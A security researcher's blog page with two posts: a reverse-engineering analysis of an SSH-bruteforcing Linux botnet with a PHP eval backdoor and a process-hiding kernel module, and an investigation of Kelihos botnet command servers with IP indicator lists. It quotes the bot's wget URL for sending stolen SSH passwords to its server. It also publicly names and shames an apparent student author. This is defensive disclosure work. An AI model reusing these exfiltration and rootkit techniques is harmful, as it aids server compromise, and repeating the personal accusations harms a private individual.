Thursday, December 24, 2015

MMD-0047-2015 - SSHV: SSH bruter ELF botnet malware w/hidden process kernel module

Background

Apparently Linux ELF malware is becoming an interesting attraction from several actors from People Republic of China(in short: PRC). This post is one good example about it. It explains also why myself, from my team (MMD), put many effort to study Linux executable malicious scheme came from that region recently, so does our colleges professional researchers in industry started to put serious effort for this specific threat fro this specific region.

The usage for Linux as the biggest backbone in our internet services, and its OS flexibility to support a lot of processor architecture has made Linux OS as a majority in market of embedded platform used in our the Internet of Things, from routers to television, from web camera to car control system. This fact has also attracted malware actors to overcome and conquer Linux with malicious usage from its system internals (kernel), its web services supported with various script programming, and vulnerabilities of its remote management access ; and this post is explaining these exploited aspects.

Today, one of my friends who is also focusing in monitoring ELF malware threat Mr. Michal Malik was mentioning me an interesting ELF sample he spotted in VirusTotal:

The sample was uploaded from China mainland network in PRC to VirusTotal. It's a new undetected malware that raises my interest to check it, and this is where the story starts.

Malware's installer and its overall malicious scheme

The malware file (md5: dfc09aa4b5c7b49d804d2ce046defb60 [link]) is an x32 binary of a dynamically unstripped ELF structure with readable database. I urge to them who interest in ELF analysis to take a look at the sample directly while reading the following explanation as reference.

Together with its overall malicous scheme of this infection, I will explain the malware binary functionality. Let's start with the malware installation bash script first, please see the illustration of its installer code below:

Along with the set of accompanied malicious files, this ELF malware file (the sample) is downloaded from its download CNC host via an openly accessed HTTP protocol, and is being executed under "God Mode" 777 permission as a daemon. The accompanied malware components files, are supposed to be a kernel module in C code and the binary build-compilation component Makefile file are also downloaded by the same method.

The installer will create the text of PHP script/code with a short commands (see the picture below) which means to extract the eval() value of whatever data sent (obviously via remote) by POST HTTP method to this malicious file "crack". In the end this "crack" code will be saved it in the web server's data directory of the victim's server with the filename of "crack.php". It's not careless to assume that via that posted eval() obviously a shell access can be gained to send activity or command this ELF malware action/daemon, or maybe more.. This is the backdoor process number one on how the malware and infected server can be remotely accessed and controlled by the attacker.

The malicious kernel module source code file, which is a copy-paste code from researchers that is very eager to share their malcodes online openly, will be compiled and inserted (insmod) to the victim's linux kernel. This is the kernel module to produce the invisibility of the malware process among server's processes, by manipulation technique in pid dir entry via Linux kernel's sys_call_table's hooks to avoid the administrator or (in some level) scanners or detection tool to spot the running malicious daemon. This kernel module is a copy paste from some classic PoC code with the very slight modification made by the actor adjusted to the daemon used in this threat. The picture below will explain a very limited view of the code:

There is a good question about this process hiding kernel mode that had been asked in reddit /r/Linux that I answered, I will share it here too here in following picture without showing its malicious code. It explains "a bit" about the kernel internals work of post process-hiding manipulation coded in this malware and explains ways to un-hidden it.

The point of concern here is the code to hack the sys_call_table entries like sys_call_table[SYS_getdents] in this case, for etc PoC purpose is so wide-spread openly, inspiring its usage for coding malware's .ko module like this case.

The malware binary will run with directly connect to download CNC host to retrieve a word list text file (with system shell command wget). Then retrieving the list of IP addresses data (with system shell command wget also) for the target list ; and parsed them to the connection checking function following with cracking attempt function contains commands of the SSH login attack process via two types of authentication : by plain text auth and keyboard auth basis ; to then using brute force attack with the user name which is set to variable value into "root" by hard coding default(It can be changed..) and the downloaded word list beforehand as SSH "password". Upon a matched password, the malware will gain access the shell of the targeted victim and execute a remote command below:

And will send return code "23333" to the crack main function to send the successfully cracked SSH credential to the download CNC via format:

%HOSTNAME%/sshv.php?out=%s&pass=%s
which is also executed by ELF malware using "wget" via shell.

Noted in "different version", there is a deactivated code section explained an HTTP network beacon activity as per below request:

Protocol: "HTTP/1.1" 
host: "city.ip138.com" 
GET "/ip2city.asp"
- to determine the location of the infected server. This is the second backdoor function of this malware. There is also being detected another activity to check whether the correct files were downloaded from the CNC download server under specific condition, that can be actually expanded to updates functionality, if the code was activated that would be the third backdoor verdict.

I made a very rough sketch during the my reversing analysis to figure the overall concept of this malware, it's really a private sketch but may help you too to understand the above summary, as per illustration below.. please bear the paintbrush level of graphic, I don't have much time nor luxury to make a neat note.

Hmm.. I think I wrote the summary a bit too long.. I'm sorry about that..

The malicious verdict explained in reversing mode

In this section I will skip the static analysis of the binary form, for the tips/reference of how I conduct a dynamic link ELF binary please see the previous analysis of K-Defend malware [link], and I was doing about the same in this case too.

So right now, I will show some pointers of the functions described in the summary above in x32 Intel assembly reversed code, with some correlation in C language, this section is made for the purpose to Proof of Concept the verdict/evidence of this binary as per summarized in the above section. I am using only r2 my beloved platform for malware analysis, for this purpose. I might not cover the whole summary for the limited space and time, so you can feel free to confirm the details.

The starting main() function of the malware process, see how system (read: shell environment) was invoked by the wget commands which is used as per below:

The checking connection process was done using the ping command with capturing its stream result.

This is the function 0x0804A384 of what is named as sshgussing() function, which is the typo of the SSHGuessing I guess, explaining the brute SSH authentication session, with default "root" password used while feeding the passwords, it shows the remote shell command executed upon connection success,flagging the "crackz" pointer into 1, a success message shown afterwards and return value of "23333" in its decimal value:



The return value "23333" from sshgussing() function will trigger the malware to send the cracked IP address and password credential to the remote host CNC via wget to a PHP API file provided in the CNC host for that purpose:

To be clearly noted here: Referring to the description I wrote of the malware until this line, this malware is having another potentially dangerous function to self spread itself as a Worm to infect other host and to another host after that, without even the coder/herder/actor always in control for it, as wide ranged as the CNC target IP addresses listed, and as long as the CNC target file is available to be downloaded by the compromised(infected) server.. This is why I called this as a "nasty" malware in its design.

The threat's source

For the mitigation purpose herewith the network correlation of the threat:

1. The CNC host for download and credential panel API(in php) is served under hostname of "testzzzzzz.10g.me" which is located in IP as per below. (PS: I think the coder loves to add some "Z" in several keywords..:

;; QUESTION SECTION:
;testzzzzzz.10g.me.             IN      A

;; ANSWER SECTION:
testzzzzzz.10g.me.      3600    IN      A       93.188.160.78

;; AUTHORITY SECTION:
10g.me.                 3600    IN      NS      ns1.main-hosting.com.
10g.me.                 3600    IN      NS      ns2.main-hosting.com.

;; ADDITIONAL SECTION:
ns1.main-hosting.com.   3600    IN      A       31.170.163.241
ns2.main-hosting.com.   3600    IN      A       31.220.23.1
It was checked that the actor is utilizing the service of the China domain hoster: 10g.me to set this CNC host.

2. The first 3 IP addresses in sshv-service-rule are suspected belong to the actor(s) themself.

$ cat sshv-service-rule
#1
"178.62.163.229"
"101.229.[65-70].128"
"178.62.163.[228-231]"
10.10.10.*
10.[20-25].123.123
Which 178.62.163.[228-231] is apparently a rental VPS in Digital Ocean Hoster at Netherland data center:
{
  "ip": "178.62.163.[228-231]",
  "hostname": "No Hostname",
  "city": "Amsterdam",
  "region": "North Holland",
  "country": "NL",
  "loc": "52.3740,4.8897",
  "org": "AS200130 Digital Ocean, Inc.",
  "postal": "1000"
}
3. There is another IP to be marked with, linked with the actor information directly and his purpose in the following section.

The bad (kid) actor..

Obviously the actor, which is undoubtedly the coder of the kernel module of this malware according to the previous written codes, which he is not caring much off his privacy too, his name is spotted in the malware set of kernel module source code. Maybe he can code a bit in C and does some Linux operations & code some scripts, but this guy is an amateur if he is a crook.. NEVERTHELESS, undoubtedly, he was making a VERY nasty new approach of a bad ELF malware botnet and implementing it in our internet!! And for this, it has to be stopped!

A further investigation on the "ssh-service-rule" hosts is bumped to the identification of the "actor":

It doesn't take much time afterwards for our team to spot the actor's ID and his "project". To Jerry Xu in Shanghai, China. WE ARE ALL STARRING AT YOU NOW! [removed] [removed]! STOP playing with SSH hacking botnet!!

For further trace we found Jerry Xu's GitHub, it is in here-->[removed]
And in that Github his malware coding project with name of "Computer_System_Project" for this malware is also spotted afterward after analysis report was posted:

The "malware / virus project's" itinerary, deisgn and how to build it:

We will leave it to you all to think about the morality and educational aspect in using such malware for the "school project", I have a deep doubt about the supervising scheme for this project too actually. But, one thing for sure is, when Michal and myself sees the binary of this bot client, we see it as a dangerous ELF malware. A further check that we are doing is showing that the malware actor himself was uploading the malware binary to the VirusTotal for the possible purpose to check its detection ratio..
Well, as a "school project" they really are getting a bit out of hand here, isn't it?

The below data is likely Jerry's related IP address located in Shanghai, as per spotted in his sshv-service-rule, so if you see some malicious activity from it, this post can be used as reference of what had happened:

{
  "ip": "101.229.65.128",
  "hostname": "No Hostname",
  "city": "Shanghai",
  "region": "Shanghai Shi",
  "country": "CN",
  "loc": "31.0456,121.3997",
  "org": "AS4812 China Telecom (Group)"
}

It looks like Jerry & Co is testing his malware "online" to some internet servers too. This is snipped result of data grabbed saved in the CNC containing success exploitation IP and password of SSH targeted servers. I would say it could be a test stage result.

Guideline to conduct a responsible malware research

We are not against research for malicious codes, and it is good for doing such research for the further mitigation and protection purpose. However, "malcodes" can do harm and can be re-use by cyber criminal for the bad purpose. Therefore, such research has to be properly/securely setup to conduct tests for its legit purpose.

There are basic guidelines to be must-followed in order to securely setup and conduct such research with its tests. From our point of view, the basic guidelines to follow is as per below points:

- Always put some notes in binary/environment stated the purpose of research/test
- Never conduct the test in the open internet connectivity
- Do not EVER use internet nodes as a test bed!! Unless you have written consent for it.
- Highly supervised by the responsible legit entity and/or institution
- Do not share the malcodes openly and leave it up-and-alive openly accessible in internet
  ( do the limited access for the research purpose )

Epilogue and follow up

I thank Michal for this good finding. And for MalwareMustDie ELF team mates who swiftly cracked the source of the threat, ID and the real situation of this case, you are all awesome! Thank you to all friends who help to follow the case until the very end of it.

Let's not make our internet dirty by be more responsible in conducting research on dangerous material like computer virus or malware. Please remember that in some countries even if you own the source code of the malware you'll have a serious trouble with the law and authority.

For the research purpose, you can fetch the sample safely in our-beloved ELF malware repository in kernelmode.info [link], you'll see my experts colleagues in ELF malware research are on discussion on this threat, you can join this malware related discussion in there.

For the mitigation, Linux hardening and sysadmin perspective of this type of malware threat, there is a nice discussion that I am assisting on reddit's /r/linux [link], on the other reddit's /r/Malware thread I am posting follow up info of the case [link].

The apology from coder & a requirement of the virus making project..

After following some requests, we saw the infrastructure for this malware was taken down:

PoC:


We then received a sincere apology message from the malware coder. He admitted to test it online too. You can see his message posted in his blog by online in here [link]. It's in English so you can read and comprehend the message as well as I do.

I, on behalf of my team, thanked Jerry for the sincere apology, and will delete the privacy related link and material I posted to this post after we confirm some facts further. The point in the message that I think you all need to know too is, as per shown in the below picture.

We need to be cleared of one thing only, is it a requirement from himself as the virus project leader or from the university side to make this virus project with its requirement?

I think Jerry personally knows the bad effect of his "project" and he gently admits his mistake showing he now awares of the dangerous effect for openly deploying his virus project and his tests. He made a good decision to put down all codes offline the GitHub, I respect that. After all, we thank Jerry for raising a very important aspect in Linux security too. It is a Christmas session now, let's accept the apology (upon confirming some facts) and Merry Christmas to Jerry from MalwareMustDie.

#MalwareMustDie!

Monday, December 21, 2015

MMD-0046-2015 - Kelihos 10 nodes CNC on NJIIX, New Jersey USA, with a known russian crook who rented them

Global variable declaration to read correctly

#include 

int main(void) {
 char * email = "XXXXX\(censored\)\ data";
                }

Background

Note2: Considering: The attack of Kelihos botnet to my country and several countries is still un-stoppable and on-going, Yet I was told to censored Kelihos investgation on 2013 without getting good follow up from law enforcement in this planet, no matter how hard we tried and providing evidences in each badness they made. And this post, also was asked to be on censor AGAIN, and right now we also did not see the stopping result either. Concluded: It is time for the people as victims of this evilness to know the truth. I opened all censorship from its seal[link].

THIS is the one of many badness evidence conducted by Kelihos botherder: Peter Severa with his real ID and address we reported and is known by law enforcement (PS: it is NOT the ID that Brian Krebs announced). Use it by your own will. If the action of this borherder will continue, we will keep on disclosing further and further. God gave us strength to put right thing to the right place - @unixfreaxjp - Sat Feb 6 12:58:38 JST 2016

Note: This is the modified post of the original post, sensitive data were censored for the "security reason". Please read "between the lines". I am sorry and thank you. - God bless them who read the codes - @unixfreaxjp Tue Dec 22 16:56:01 JST 2015

Most of fellow malware and botnet researchers in security communities know the term of "kelihos botnet". Many of us find it interesting to be studied. The botnet exists for a long time until now, and surviving many take down and disruption efforts, yet it is still in operation until now [link].

MalwareMustDie group has a "Kelihos Operation" in a small dedicated unit to research this threat and we tried to be responsible in disclosing the botnet malicious distribution scheme and its payloads in 2013, and we presented the talk about it at the BotConf in 2013 [link]. The team was following the threat ever since by tireless efforts to report and try to support regional jurisdiction to stop the botnet's further malicious activity. And believe me, MalwareMustDie is aiming a way further than just a whack-a-mole actions that some industries and researchers think we were, the disclosure that we had on the case, and this post is a proof of our hard work for it.

Even physical action(s) was conducted by law (with hat tips of the great work of GroupIB friends [link]) for the effort to end this "legacy" for good, the herder who is a notorious cyber criminal [link][link][link] knows how to bent the law, and is back on operation, with some improvement in the botnet itself.

In the Q3 and Q4 in this year there are strong distribution [link] of Kelihos binaries from several "major" Exploit Kits [link], implying the effort of the herder to expand the botnet. And following that time frame several botnet malicious campaigns were also started to be detected under a very short infection uptime and was carefully planned in aiming specific regional target on a specific operating system platform. Afterward, just recently. there are events of "disruption activities" was occurred in the botnet, which has boosted the botnet's access revocation, technical changes, updates on versions and security improvements to be better than before (i.e.in: domains, encryption, payloads, name servers & http services etc) without really reducing its P2P peers activity significantly, hence the botnet is still on operation but not as "greedy" like we've seen it before in 2012 and 2013.

The recent development is urging me on behalf of operation unit in our Kelihos team, to disclose as "responsible" as possible several new updates in information that maybe can be used and linked by law enforcement effort to build a new cyber criminal case for this well known bot herder.

We thanked gentlemen/ladies for the hard work they shared together in effort to stop the threat (this credit list is not only MMD members but contributors are included)

@VriesHd @Malwageddon @Set_Abominae @DhiaLite @malm0u53 @Xylit0l@ConradLongmore @keyleyang001 @s4n7h0 @essachin 
@sempersecurus @JC_SoCal @ChristiaanBeek @unixfreaxjp @lvdeijk @wirehack7 @wopot @kafeine
These are the people who stick together still and contribute very hard effort of the case with the separate specialties. I myself is in charge for the CNC & infrastructure investigation for the threat, and this writing is mostly based on that specific territory, so I tried to write it without revealing much OpSec of my other team mats in various section. So, the post will not reveal all details of operational aspect, since there are many more "bigger deal" that has to be kept close for the further investigation. You can feel free to contact us via twitter DM if somehow I may can assist you more on the issue.

Kelihos FUD (Fully UnDetected) check scheme

Generally speaking: As this botnet concept is peer to peer, it uses encrypted communication one-to-one basis that redundantly connected to the targeted/instructed peers specified from the central command. The central pushes commands to the infected peers by working in rings of encryption layers, which is varied in encryption to each level, and the peers in each group can reply a pong in generic protocol in "a state" that can be notified by the highest central. This is a way of the botnet can be "steered" to aim specific territory like this example [link] and to launch a specific spam and/or traffic redirection campaigns (the example is in the next paragraph), or to avoid several networks, or "activated / deactivated" activities on some region. In this paragraph I am in purpose omitting various function details that the botnet has (dns/http/blacklist/p2p crypt/spam modules/etc etc).

As peering-functionality is important to the kelihos botnet. the herder is using a known FUD checking service to make sure the main botnet nodes is free from detection, with checking security industry's mitigation/protection signatures [link], by rapidly monitoring detection ratio of the: (1) Binary payloads, (2) IP addresses of Kelihos job server's and main communication peers, (3) and CNC hosts, (4) the web html pages contains javascript, installed in peers that is distributed for supporting several malicious operations (i.e.: click fraud, redirectors, malware infection, spam sites, etc). The herder never keeps the detection ratio high and only picking several important nodes in the botnet to have the lowest detection ratio as possible, and also trying very hard to keep the job servers and CNC of Kelihos to have detection score to be close to zero.

Kelihos is a botnet as service which is having its own function to spread its threat activity, mainly by spam email from its original spam module, which are controlled directly by the herder to aim to specific region(s) or by redirection scheme. Several scheme of recent distribution spotted in this functionality is as per following illustrations: [pump-and-dump] [malicious JS redirector] [URL link basis] [script spam] [pay per click] [regional targeted spam] etc (malware related spam can not be disclosed in here).

To be noted: There are top central operation servers which the herder operated separately and unlisted to the checks. Thus,the botnet is never involving CNC layer or upper layer directly to the distributional layer of the payload, but passing the "delivery" to the infected proxy peers (read: DHCP/ADSL infected PC connected to the internet behind the routers) which makes harder to proof its maliciousness, even though these upper layers nodes are having a very important role in steer malicious activity in the infected peers.

The checking scheme of the botnet peers is where actually the vector we used to dig up the connection to the source of the threat, so I will not have to disclose the domains, payloads, encryption, campaigns or other opsec related work details.

The Kelihos CNC in AS19318(US) at YYYYY(censored)

Inside of the category of (3) stated in above section, it was spotted CNC IP listed as per checked in a scheme below:

These are the IP registered to these two dedicated hosts: dsys417.server-1.biz and dsys418.server-1.biz as per checked below, physically located in New Jersey, United States.

{ "ip": "206.72.206.74-78",
  "hostname": "dsys418.server-1.biz",
  "ip": "66.45.241.130-134",
  "hostname": "dsys417.server-1.biz",
  "city": "Secaucus",
  "region": "New Jersey",
  "country": "US",
  "loc": "40.7895,-74.0565",
  "org": "AS19318 NEW JERSEY INTERNATIONAL INTERNET EXCHANGE LLC",
  "postal": "07094" }
The data above in form of textual per prefix/routes networking used:
66.45.241.130|dsys417.server-1.biz.|19318 | 66.45.224.0/19 | (censored) | US | interserver.net | Interserver Inc
66.45.241.131||19318 | 66.45.224.0/19 | (cencored) | US | interserver.net | Interserver Inc
66.45.241.132||19318 | 66.45.224.0/19 | (cencored) | US | interserver.net | Interserver Inc
66.45.241.133||19318 | 66.45.224.0/19 | (cencored) | US | interserver.net | Interserver Inc
66.45.241.134||19318 | 66.45.224.0/19 | (cencored) | US | interserver.net | Interserver Inc
206.72.206.74|dsys418.server-1.biz|19318 | 206.72.192.0/20 | (cencored) | US | interserver.net | Interserver Inc
206.72.206.75||19318 | 206.72.192.0/20 | (cencored) | US | interserver.net | Interserver Inc
206.72.206.76||19318 | 206.72.192.0/20 | (cencored) | US | interserver.net | Interserver Inc
206.72.206.77||19318 | 206.72.192.0/20 | (cencored) | US | interserver.net | Interserver Inc
206.72.206.78||19318 | 206.72.192.0/20 | (cencored) | US | interserver.net | Interserver Inc

The checks are so important for these IPs on its two hosts, that the herder is running it in frequency of average 16 times per hour, in hourly basis, for each host, by using the remote API provided by the FUD check service for the purpose. As evidence I snipped a small portion as below:

To proof the solidity of the data presented, this original picture shows many authentic details:

Since the front end has payment records captured, it's not that difficult to know that the herder want to keep on doing this at least until the early of this December 2015 [link]

I think up to this point we are all agreed about the US basis 10(ten) IP addresses above are specifically checked by the kelihos herder for its FUD purpose, together with executable binaries of the botnet, the script saved in HTML files in the peers and other minor matters.
But then questions raised up: Who owns those IPs? How can Kelihos botnet herder get the US IP addresses from the first place? Is HE the same person as we announced in 2013?
The next section will be the disclosure of all the questions above plus the ownership information.

The herder data dug from these 10 IP

Before I went to BotConf in 2013, we (MalwareMustDie operations in Germany and Netherland) launched effort [link] [link] and we "paralized" their payload scheme↓ too -

..and we stop the payload of Kelihos for some days, and with the help from good fellows from McAfee and LeaseWeb together we took down dedicated servers that was used to run as Kelihos mother ships (You will see some video about that in 2013's link above). It was taking down Kelihos like 5 days without payloads, and successfully PoC some evidence of the botnet with disrupting the herder at the same time.

It won't take long for the herder to quickly revive the botnet. And that was the time when the 10 IP described above was born. During the reviving period the bot herder was renting two dedicated servers from "regname.biz (owner of server-1.biz)" via QQQQQQ(cencored) service, and there is an evidence of payment request from the service to the herder and it looks like this:

If you are making an account of any hoster service, for them to contact you it will be needed the XXXXX(censored) data of yours. Apparently the XXXXX(censored) data used for contact communication in arranging these servers is matched to the XXXXX(censored) data registered as contact information in the FUD check system described above [link] that is connected to his main CNC for binary checking.

Well, okay, what is the proof that the 10 IP addresses are owned by a person who is using XXXXX(censored) data too?
Let's see the explanation below...

Under a good legit cooperation the picture of the herder's rented dedicated server details in the XXXX(cencored) account can be achieved, in this "service"..in the billing history, the invoices shown in the last two transaction of renting servers are the first initiation payment done by the herder, as per seen in the previous data, see the invoice number and the contents which will be matched to what the payment request document also stated.

The two dedicated servers are keeping on renewal until at the time I wrote this post, one would find this evidence in the recent details like below in the system:

And these 10 IP addresses are the IP addresses of what two hosts are serving. Even though hoster's secure system need to hover mouse/pointer to see these details, one can make the screenshot as per below to managed captured data as proof, ..aaaand W000T! W000T! these two hosts are the ones responsible to the 10 IP addresses in United states that was used by kelihos herder, under the same XXXXX(censored) contact account, which is obviously belong to the kelihos botnet herder.

As per every online basis system, the profile setting part is exists, and beyond any doubt one can see the same XXXXX(censored) data is used, while accessing that part :-)

Who's is this herder? Not the same guy?

It is proven by this vector too that the herder is having the same ID that we, MalwareMustDie, presented in BotConf in 2013, unless you can say that this bot herder is sharing the XXXXX(censored) data that is used to arrange dedicated servers of more than 15 IPs of CNC..and to check the FUD of the malware payload+IP ..to a common good public citizen that is "innocently" use the same XXXXX(censored) dara, without being worry this "innocent man" will go to police to report all of the herder's crime.

And we thank you to the Shell Club Smart Russia database to help us in pointing the correct identification and location via (XXXXX/censored) data of the person who is responsible of Kelihos malicious services like: malicious redirect, clickfraud, spams and malware infections behind the botnet. From this point it's the law enforcement matter to conduct the cyber crime investigation further.

The VERY important P2P peers IP, job servers IP and CNC IP of Kelihos

This is actually the most important part. Below is the list of the Kelihos upper infrastructure layer. I will not openly explain which IP is doing what. But for the safeness of our internet we suggest you strongly to neutralize the listed hosts and block them during the process. The 10 IP addresses listed above is included in the list. The list is sorted one since 2013 until today. An IOC to share the list to each entities would be nice follow for this post. And if you need to have the historical basis data please contact us, with sending message in the comment as usual with stated yourself+entity email address. PS: There are many data can be shared to law enforcement only.

109.87.199.28|28.199.87.109.triolan.net.|13188 | 109.87.199.0/24 | BANKINFORM | UA | triolan.net | Content Delivery Network Ltd
118.160.178.92|118-160-178-92.dynamic.hinet.net.|3462 | 118.160.0.0/16 | HINET | TW | hinet.net | Data Communication Business Group
121.52.159.143|free-iub.edu.pk.|45773 | 121.52.159.0/24 | HECPERN-AS | PK | pern.pk | Pern-Pakistan Education & Research Network is an
126.48.37.45|softbank126048037045.bbtec.net.|17676 | 126.48.0.0/16 | GIGAINFRA | JP | softbankbb.co.jp | Japan Nation-Wide Network Of SoftBank BB Corp.
151.0.40.22||45025 | 151.0.40.0/21 | EDN | UA | lir.net.ua | Online Technologies LTD
159.224.159.161|161.159.224.159.triolan.net.|13188 | 159.224.158.0/23 | BANKINFORM | UA | triolan.net | Content Delivery Network Ltd
175.209.240.53||4766 | 175.208.0.0/13 | KIXS-AS | KR | kt.com | Korea Telecom
176.103.48.27||48031 | 176.103.48.0/20 | XSERVER-IP-NETWORK | UA | brindirect.com | PE Ivanov Vitaliy Sergeevich
176.103.54.73||48031 | 176.103.48.0/20 | XSERVER-IP-NETWORK | UA | brindirect.com | PE Ivanov Vitaliy Sergeevich
176.103.55.73||48031 | 176.103.48.0/20 | XSERVER-IP-NETWORK | UA | brindirect.com | PE Ivanov Vitaliy Sergeevich
176.61.167.245|cable-korisnici-Lukavac-245.167.61.176.BHB.BA.|57397 | 176.61.167.0/24 | BHB-CABLE-TV-BIH | AT | jm-data.at | JM-DATA GmbH
176.73.239.93||16010 | 176.73.128.0/17 | CAUCASUSONLINEAS | GE | caucasus.net | Caucasus Online Ltd.
176.73.248.151||16010 | 176.73.128.0/17 | CAUCASUSONLINEAS | GE | caucasus.net | Caucasus Online Ltd.
176.8.113.143|176-8-113-143-broadband.kyivstar.net.|15895 | 176.8.0.0/16 | KSNET | UA | kyivstar.ua | Kyivstar PJSC
176.8.70.239|176-8-70-239-lzv.broadband.kyivstar.net.|15895 | 176.8.0.0/16 | KSNET | UA | kyivstar.ua | Kyivstar PJSC
178.137.29.163|178-137-29-163-broadband.kyivstar.net.|15895 | 178.137.0.0/16 | KSNET | UA | kyivstar.ua | Kyivstar PJSC
178.54.39.16|unallocated.sta.synapse.net.ua.|29107 | 178.54.0.0/17 | SYNAPSE | UA | synapse.net.ua | Open JSC Stock Company Sater
186.115.146.227||3816 | 186.115.144.0/21 | COLOMBIA | CO | - | Rapidotolima
186.34.172.184||6535 | 186.34.0.0/16 | Telmex | CL | telmex.com | Telmex Chile S.A HFC
188.138.227.43|188-138-227-43.starnet.md.|31252 | 188.138.128.0/17 | STARNET | MD | starnet.md | StarNet S.R.L
193.126.181.18||2860 | 193.126.0.0/16 | NOS_COMUNICACOES | PT | nos.pt | Nos Comunicacoes S.A.
193.203.51.47||48031 | 193.203.48.0/22 | XSERVER-IP-NETWORK | UA | brindirect.com | PE Ivanov Vitaliy Sergeevich
193.28.179.38|hostby.isp4you.cz.|58146 | 193.28.179.0/24 | SVOD | RU | - | Svod ltd.
193.28.179.39|hostby.isp4you.cz.|58146 | 193.28.179.0/24 | SVOD | RU | - | Svod ltd.
193.28.179.40|hostby.isp4you.cz.|58146 | 193.28.179.0/24 | SVOD | RU | - | Svod ltd.
194.146.199.200||21261 | 194.146.196.0/22 | STELS | UA | nadolinskiy.dn.ua | Stels ISP Ltd
195.140.160.46||48964 | 195.140.160.0/22 | ENTERRA | UA | abcname.net | Datasfera LTD
195.18.14.96||196638 | 195.18.12.0/22 | PROMTELECOM | UA | promtele.com | OJSC Promtelecom
196.218.187.142|host-196.218.187.142-static.tedata.net.|8452 | 196.218.0.0/16 | TE | EG | tedata.net | TE Data
201.187.15.184||14117 | 201.187.0.0/20 | Telefonica | CL | telsur.cl | Telefonica del Sur S.A.
201.219.169.169|vm-customer-201-219-169-169.megacable.com.ar.|28015 | 201.219.169.0/24 | MERCO | AR | megacable.com.ar | Merco Comunicaciones
206.72.206.74||19318 | 206.72.192.0/20 | XXXX(cencored) | US | interserver.net | Interserver Inc
206.72.206.75||19318 | 206.72.192.0/20 | XXXX(cencored) | US | interserver.net | Interserver Inc
206.72.206.76||19318 | 206.72.192.0/20 | XXXX(cencored) | US | interserver.net | Interserver Inc
206.72.206.77||19318 | 206.72.192.0/20 | XXXX(cencored) | US | interserver.net | Interserver Inc
206.72.206.78||19318 | 206.72.192.0/20 | XXXX(cencored) | US | interserver.net | Interserver Inc
211.120.158.247|zaqd3789ef7.zaq.ne.jp.|9617 | 211.120.128.0/19 | ZAQ | JP | jcom.co.jp | J:COM West Co. Ltd.
212.55.75.70|212-55-75-70.dynamic-pool.kanev.mclaut.net.|25133 | 212.55.74.0/23 | MCLAUT | UA | mclaut.in.ua | LLC Mclaut-Invest
213.111.223.250|250.223-pool.nikopol.net.|44924 | 213.111.192.0/18 | MAINSTREAM | UA | nikopol.net | PP MainStream
219.124.22.175|c022175.net219124.cablenet.ne.jp.|9378 | 219.124.16.0/21 | CABLENET | JP | cablenet.ne.jp | Jcom Kawaguchitoda Co. Ltd.
31.131.122.246|cl122-246.dhcp.multinet.ua.|41871 | 31.131.112.0/20 | RTL | UA | multinet.ua | Locom LLC
37.1.200.161||50673 | 37.1.200.0/21 | SERVERIUS | NL | 3nt.com | 3nt solutions LLP
37.1.202.195||50673 | 37.1.200.0/21 | SERVERIUS | NL | 3nt.com | 3nt solutions LLP
37.1.203.237||50673 | 37.1.200.0/21 | SERVERIUS | NL | 3nt.com | 3nt solutions LLP
37.229.178.56|37-229-178-56-broadband.kyivstar.net.|15895 | 37.229.0.0/16 | KSNET | UA | kyivstar.ua | Kyivstar PJSC
46.118.63.149|SOL-FTTB.149.63.118.46.sovam.net.ua.|15895 | 46.118.0.0/15 | KSNET | UA | golden-telecom.com | Golden Telecom
46.160.115.217|46.160.115.217.format-tv.net.|6712 | 46.160.114.0/23 | FORMAT-TV | UA | maxnet.ua | Maxnet Telecom Ltd
46.219.55.66|46.219.55.66.freenet.com.ua.|31148 | 46.219.55.0/24 | FREENET | UA | freenet.com.ua | Freenet Ltd.
46.63.32.75|pool-46-63-32-75.x-city.ua.|51784 | 46.63.32.0/21 | X-CITY | UA | x-city.ua | X-City Ltd.
5.105.56.87|5-105-56-87.mytrinity.com.ua.|43554 | 5.105.0.0/16 | CDS | UA | mytrinity.com.ua | Cifrovye Dispetcherskie Sistemy
5.178.184.197||28751 | 5.178.128.0/18 | CAUCASUS-NET | GE | caucasus.net | Caucasus Online Ltd.
5.248.243.45|5-248-243-45-broadband.kyivstar.net.|15895 | 5.248.0.0/16 | KSNET | UA | kyivstar.ua | Kyivstar PJSC
66.45.241.130|dsys417.server-1.biz.|19318 | 66.45.224.0/19 | XXXX(cencored) | US | interserver.net | Interserver Inc
66.45.241.131||19318 | 66.45.224.0/19 | XXXX(cencored) | US | interserver.net | Interserver Inc
66.45.241.132||19318 | 66.45.224.0/19 | XXXX(cencored) | US | interserver.net | Interserver Inc
66.45.241.133||19318 | 66.45.224.0/19 | XXXX(cencored) | US | interserver.net | Interserver Inc
66.45.241.134||19318 | 66.45.224.0/19 | XXXX(cencored) | US | interserver.net | Interserver Inc
77.109.23.44|77-109-23-44.dynamic.peoplenet.ua.|42396 | 77.109.20.0/22 | PPLNETUA | UA | 3gmobile.com.ua | PJSC Telesystems of Ukraine
77.121.44.40|dhcp-pool.net-77.121.44.host-40.sev.sevcable.net.|35680 | 77.121.32.0/19 | LINIATEL | UA | volia.net | Kyivski Telekomunikatsiyni Merezhi LLC
77.121.86.143|77-121-86-143.dynamic.kits.zp.ua.|25229 | 77.121.80.0/21 | VOLIA | UA | volia.net | Kyivski Telekomunikatsiyni Merezhi LLC
77.122.234.122|dynamic-77-122-234-122.ricona.net.ua.|25229 | 77.122.192.0/18 | VOLIA | UA | volia.net | Kyivski Telekomunikatsiyni Merezhi LLC
82.79.127.7|82-79-127-7.alexandria.rdsnet.ro.|8708 | 82.76.0.0/14 | RCS | RO | rdsnet.ro | RCS & RDS Business
89.137.97.166||6830 | 89.137.0.0/16 | LGI | AT | upcnet.ro | UPC Romania CLUJ-NAPOCA
89.185.30.21|CPE257021.tvcom.net.ua.|34092 | 89.185.24.0/21 | TVCOM | UA | tvcom.net.ua | TVCOM Ltd.
89.35.41.171|host-static-89-35-41-171.moldtelecom.md.|8926 | 89.35.40.0/21 | MOLDTELECOM | MD | moldtelecom.md | Societatea pe Actiuni Moldtelecom
89.41.38.24|24.38.41.89.panevo.ro.|35421 | 89.41.36.0/22 | PANELECTRO | RO | panevo.ro | SC Pan Electro SRL
93.177.178.40|host-93-177-178-40.customer.co.ge.|28751 | 93.177.160.0/19 | CAUCASUS-NET | GE | caucasus.net | Caucasus Online Ltd.
94.176.116.122|122.116.176.94.globnet.md.|48331 | 94.176.116.0/24 | GLOBNET | RO | globnet.md | S.C. Globnet S.R.L.
94.240.163.235||41232 | 94.240.160.0/19 | SSN | UA | flagman.zp.ua | TOV Flagman Telecom
